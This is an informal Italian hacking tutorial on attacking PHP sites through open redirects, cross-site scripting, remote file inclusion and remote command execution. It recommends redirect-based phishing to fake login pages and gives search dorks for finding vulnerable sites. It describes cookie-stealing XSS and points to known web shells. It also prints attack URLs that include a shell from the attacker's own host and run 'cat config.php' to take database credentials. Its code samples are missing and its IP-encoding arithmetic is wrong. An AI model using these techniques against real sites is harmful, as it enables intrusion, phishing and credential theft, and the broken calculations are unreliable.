======================================================================================== Hacking with PHP: HTTP Redirect, Remote cmmnds xctn, Remote File Inclusion and much more ======================================================================================== by Kiki ./0x00 Nozioni basilari 0x00.0 Che cosa è il PHP 0x00.1 Cosa faremo 0x00.2 Cosa ci serve ./0x01 HTTP Redirect 0x01.0 Cosa è? 0x01.1 Come si esegue? ./0x02 Cross Site Scripting 0x02.0 Cosa è? 0x02.1 Come si trova? 0x02.2 Come sfruttarlo e patcharlo ./0x03 Remote File Inclusion 0x03.0 Che cosa è? Come funziona? 0x03.1 Come sfruttarlo ./0x04 Remote Code Execution 0x04.0 Che cosa è? 0x04.1 Come sfruttarlo ./0x05 Conclusioni 0x05.0 Credits ----------------------------------------------------------------- ./0x00 Nozioni basilari 0x00.0 Che cosa è il PHP Il PHP (PHP: Hypertext Preprocessor) è un "linguaggio" di programmazione che viene spesso utilizzato per la realizzazione e lagestione di siti web, ma molte volte viene usato anche per ben altri scopi. Tutto è nato da una fusione di vari linguaggi come per esempio il C, il Perl e viene definito "linguaggio di scripting general-purpose"; la differenza sostanziale che fa si che questo non sia uguale ai due linguaggi di programmazione citati sopra è che non viene scritto un grande programma per produrre una pagina HTML ma si scrive in HTML con qualche comando immerso per ottenere dei risultati. La pecca di tutto è che analizzando il codice di una pagina web, non ci sarà traccia dello script PHP perchè questo fa risultare nel source solamente l' output dello script e mai l'input che viene inviato al server sui cui risiede la pagina .php 0x00.1 Cosa faremo In questa semplice guida cercherò di spiegare alcuni tipi di vulnerabilità più conosciute per script realizzati in PHP. Questo accade sopratutto per la grande facilità che ha un utente di modificare le variabili che servono per far funzionare uno script. Inizieremo con il trattare delle falle più semplici e meno pericolose per poi andare a finire in quelli che sono i veri rischi che ci sono ad usare un determinato script in php. 0x00.2 Cosa ci serve Per eseguire vari test vi consiglio di scaricarvi questi tool, così avrete maggiore chiarezza quando parlerò delle funzionalità di alcuni specifici tool: - http://www.easyphp.org - Easy PHP: server locale su cui testare i vari script - http://www.mozillaitalia.org/firefox/ - Noto browser web, navigazione più sicura assicurata - http://livehttpheaders.mozdev.org/ - Plug-in per ff che ci permette di analizzare le richieste GET e POST - http://www.apachefriends.org/en/xampp-linux.html - Xampp: equivalente di Easy PHP per linux Bene, ora direi che è possibile iniziare a entrare nell'area calda di questa guida... ============================================================================================== ./0x01 HTTP Redirect 0x01.0 Cosa è? Iniziamo a definire il termine HTTP. HTTP è l'acronimo di HyperText Transfer Protocol, che viene solitamente usato per trasmettere informazioni sul web. Questo protocollo funziona con un meccanismo di richiesta e risposta: cioè l'utente fa una richiesta e il server ne restituisce una risposta. Un esempio può essere: Io (Client) chiedo a Luigi (Server) dove siamo: "Dove siamo?" <--- Richiesta "A casa mia" <--- Risposta Questo è un esempio di come può funzionare (a grandi linee) il protocollo HTTP. La linea di richiesta è formata dal metodo, URI, e versione protocollo. L'URI serve per indicare l'oggetto di una richiesta. Tutto questo avviene solo se viene effettuata una richiesta; ci sono 7 tipi di richiesta che uno script può effettuare ma i più famosi e conosciuti sono GET e POST. Il metodo GET viene usato solitamente per avere il contentuo di una risorsa contenuta nell' URI. Ok, ora che sappiamo le funzionalità principali di questo protocollo, passiamo a spiegare come avviene un attacco di tipo HTTP Redirect. 0x01.1 Come si esegue? Iniziamo con il dire che questo non è propriamente un vero tipo di attacco ma solamente un modo per far si che un utente venga reindirizzato ad un altro sito senza il suo volere, solamente cambiando una variabile di un URL. Noi per esempio, naviagando in rete, ci imbattiamo in un URL di questo genere: http://www.sito.com?http://www.sito2.it Questo url dice al browser di indirizzare la nostra connessione verso http://www.sito.com e una volta giunti li, di indirizzarci verso http://www.sito2.it, perchè viene detto cosi nella variabile specificata dall'url. Noi potremmo benissimo modificare il secondo url, facendo in modo tale che l'utente venga mandato sul sito che abbiamo scelto noi, magari di un fake-login oppure su una pagina che contenga un exploit che se venga aperto, venga anche eseguito e quindi la colpa ricadrebbe su quell'utente e non su di noi. Molti truffatori usano questo metodo per ingannare tutti gli utenti più ignari; una volta che inseriscono i loro dati di accesso, invece che andare al vero sito, vengono iniviati alla casella email dell' aggressore. Tanti però, per far sembrare tutto meno sospetto, codificano il secondo url in modo tale che tutto sembri meno scontato e meno visibile. Per codare un indirizzo in modo corretto bisogna fare così: 1) Si prendono le ultime cifre, 895, e si moltiplicano per 1. Quindi 895. 2) Prendiamo 76 e lo moltiplichiamo per 256= 19456 3) Prendiamo 54 e lo moltiplichiamo per (256x256)= 3538944 4) Per ultimo prendiamo 68 e facciamo per (256x256x256)= 1140850688 5) Ora sommiamo tutto: 895 + 19456 + 3538944 + 1140850688 = 114409983 Per chi non ha assolutamente voglia di fare questo lungo procedimento consiglio di andare su http://network-tools.com dove c'è un programma che cripta da solo l'URL, evitandovi la fatica. Ecco alcune googledork per cercare alcuni siti che soffrono questo tipo di vulnerabilità: inurl:gotoURL.asp?url=; inurl:gotoURL.php?=; Ovviamente ce ne sono molte altre, ma per ora cito solo queste perchè sono quelle che vengono usate di più. Dopo questo tipo di "attacco", passiamo a spiegare le vulnerabilità di Cross Site Scripting. ============================================================================================== ./0x02 Cross Site Scripting 0x02.0 Cosa è? Il Cross Site Scripting (anche chiamato XSS), è uno dei più noti attacchi via browser da remoto, ma anche uno dei meno pericolosi. Questo perchè questo tipo di attacco non esegue nessun codice maligno sulla macchina da remoto, ma fa soltanto eseguire (nella maggior parte dei casi) semplici javascript all'interno di pagine web. Questi attacchi, mirano di più a cercare di rubare delle sid (Session Id) di amministratori, oppure a cercare di fregare dei cookie di utenti importanti per cercare di ricavare qualche informazione interessante. 0x02.1 Come si trova? Innanzitutto bisogna avere un pò di conoscenze base del php e di conoscere il funzionamento di qualche funzione come addslashes() oppure preg_replace() o anche htmlentities(). Molte XSS spesso vengono usate nei campi di ricerca, questo perchè un utente può inserire direttamente i dati da passare allo script, che poi cercherà i visualizzarne l'output richiesto. Quindi se noi inserissimo come criterio di ricerca il semplice script: ci comparirebbe nella pagina di ricerca, un JS contenente come testo Owned. Questo perchè la variabile php in cui è stato inserito il contenuto della richiesta di ricerca, non è stato controllato da una di quelle funzioni php di cui parlavamo prima. Quelle funzioni non fanno altro che controllare che il codice inserito in una variabile non sia HTML, inserendo apposite \\ qualora ci fossero caratteri HTML non validi, oppure sostituendo solamente alcuni caratteri attraverso delle regex. 0x02.2 Come sfruttarlo e patcharlo Non sono molti i metodi con cui si possono sfruttare le falle di questo tipo. Principalmente vengono solo creati dei JavaScript innocui che funzionano solamente se questo viene inserito nel campo di ricerca, ma non penso che in giro ci sia gente tanto scema. Si possono sfruttare però XSS per esempio quando vengono inseriti post all'interno di forum, per esempio nel campo del titolo oppure dell'autore del messaggio e così via. Oltre che all'inserimento di qualche semplice script in java, può essere inserito benissimo un redirect a una pagina php che "cattura" i cookie della vittima che, su un forum, possono essere molto preziosi, in quanto contengono magari anche una session id. Per patchare questo tipo di falle, come già detto, è sempre meglio far controllare a una delle tante funzioni php, il contenuto di qualche variabile inserita da qualche navigatore della rete. Le funzioni più usate sono addslashes(), preg_replace(), htmlentities() e ancora altre. Per maggiori info andate su www.php.net ============================================================================================== ./0x03 Remote File Inclusion 0x03.0 Che cosa è? Come funziona? Il Remote File Inclusion (RFI) è la semplice tecnica di includere "di nascosto" dei file all'interno di un sito web, sfruttando qualche variabile non controllata. Un utente quindi può far eseguire una shell, oppure un proprio script personale all'interno del sito (anche server) vittima facendo finta che tutto avvenga su quel determinato server. Questo accade spesso perchè le variabili all'interno degli script, spesso non sono controllate nel giusto modo e quindi permettono ad un aggressore di poter modificarne il contenuto, rendendo tutto più pericoloso. 0x03.1 Come sfruttarlo Per prima cosa, per sfruttare al meglio un remote file inclusion, bisognerebbe avere il sorgente dell'applicazione che si vuole provare ad attacare. Immaginiamo di avere un applicazione con contenuto nel codice il seguente script: questo script fa si che venga incluso tutto ciò che è inserito nella variabile page, ma come potete vedere non è controllato da nessuna parte e quindi viene reso vulnerabile a un rfi. Quindi a noi basta uppare su un server una shell, e rinominarla come nome.png o anche .jpg o .gif Questo perchè? Perchè quando andremo ad eseguire l'inclusione da remoto, se facessimo www.sito.it/index.php?page=http://miosito.it/shell.php la shell verrebbe eseguita sul nostro server e poi inclusa nel sito vittima, quindi ne ricaveremmo solo una visione dell'interno del server dove è hostata la shell, mentre se la uppiamo con un estensione del tipo immagine, e la richiamiamo con www.sito.it/index.php?page=http://miosito.it/shell.jpg viene eseguita l'inclusione dell'immagine, che poi viene eseguita direttamente sul server vittima, dove noi ora possiamo vedere/scrivere/modificare i contenuti del web server. Se volete qualche buona shell, cercate su google le parole: c99, mdt, nst che sono tra le migliori shell in circolazione. ============================================================================================== ./0x04 Remote Code Execution 0x04.0 Che cosa è? Il Remote Code Execution (Remote cmmnds xctn) non è altro che la possibilità di eseguire da remoto codice malignio su una macchina, sulla quale gira qualche script vulnerabile. Questa è una delle vulnerabilità più gravi in quanto un aggressore può tranquillamente eseguire del codice direttamente su un server, ottenendo informazioni utilissime, quali versione dell' OS, Apache e info su tutti i file contenuti. 0x04.1 Come sfruttarlo Innanzitutto bisogna prima scoprire una falla di questo tipo. Esisistono miglia di tipi per permettere questo attacco; noi adesso prenderemo in esempio la riuscita di un rfi (remote file inclusion), inserendo una shell su un sito. Mettiamo di aver scoperto che il sito www.target.it sia vulnerabile a un rfi, ci mettiamo la nostra shell che contiene il seguente codice: e la chiamiamo shell.png. Una volta creata, la mettiamo su un nostro spazio web, e la richiamiamo in questo modo: www.target.it/index.php?expl=http://nostrosito.it/shell.png Ora la shell è stata richiamata, ma dobbiamo passare attraverso la variabile $cmd i comandi che vogliamo far eseguire sul server vittima. Un esempio potrebbe essere: www.target.it/index.php?expl=http://nostrosito.it/shell.png?cmd=cat config.php che in questo caso ci restituirebbe tutto il contenuto di config.php, che sarebbe il file di accesso al database, dove sono inseriti pass e username per connettersi al db. Questo è il funzionamento principale del remote command execution, il punto principale è trovare una vulnerabilità o che ci permetta un inclusione non autorizzata, oppure una falla che ci faccia eseguire comandi direttamente sul sistema remoto. ============================================================================================== ./0x05 Conclusioni 0x05.0 Credit Questa guida è stata scritta da Kiki, quando non aveva proprio nulla da fare. Ci saranno di sicuro qualche errore, correggetelo se avete voglia o speditemi una mail. Joinate sul canale irc #0x90 sul server irc.azzurra.org ;) +-----------------------------------------------------+ + Author: Kiki + Email: kiki[at]autistici[dot]org + Msn: federico.alice[at]tiscali[dot]it + IRC: irc.azzurra.org (6667) canale: #0x90 + Site: http://pwnd.altervista.org +-----------------------------------------------------+